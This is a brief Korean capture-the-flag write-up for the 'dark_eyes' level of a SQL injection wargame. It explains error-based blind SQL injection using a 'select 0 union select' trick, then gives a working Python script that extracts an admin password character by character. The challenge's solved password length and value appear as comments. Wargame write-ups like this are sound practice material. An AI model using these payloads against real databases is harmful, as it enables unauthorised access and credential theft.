첫 화면이다.
에러 기반 Blind SQL Injection으로 풀었다.
if 를 우회하기 위해 select와 union을 사용하였다.
파이썬 코드를 짜면 아래와 같다.
import requests
URL = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw='
PHPSESSID = 'MY_PHPSESSID'
def query(payload):
cookies = {'PHPSESSID': PHPSESSID}
r = requests.get(URL + payload, cookies=cookies)
content = r.text
return content == ''
# 8
def find_pw_length():
pw_len = 1
while query("' or id='admin' and (select 0 union select length(pw)={}) %23".format(pw_len)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
# 5a2f5d3c
def find_pw():
pw_len = find_pw_length()
pw = ''
for pos in range(1, pw_len + 1):
for character in range(0, 128):
if query("' or id='admin' and (select 0 union select ord(substr(pw,{},1))={}) %23".format(pos, character)) is True:
pw += chr(character)
break
print('pw: {}'.format(pw))
find_pw()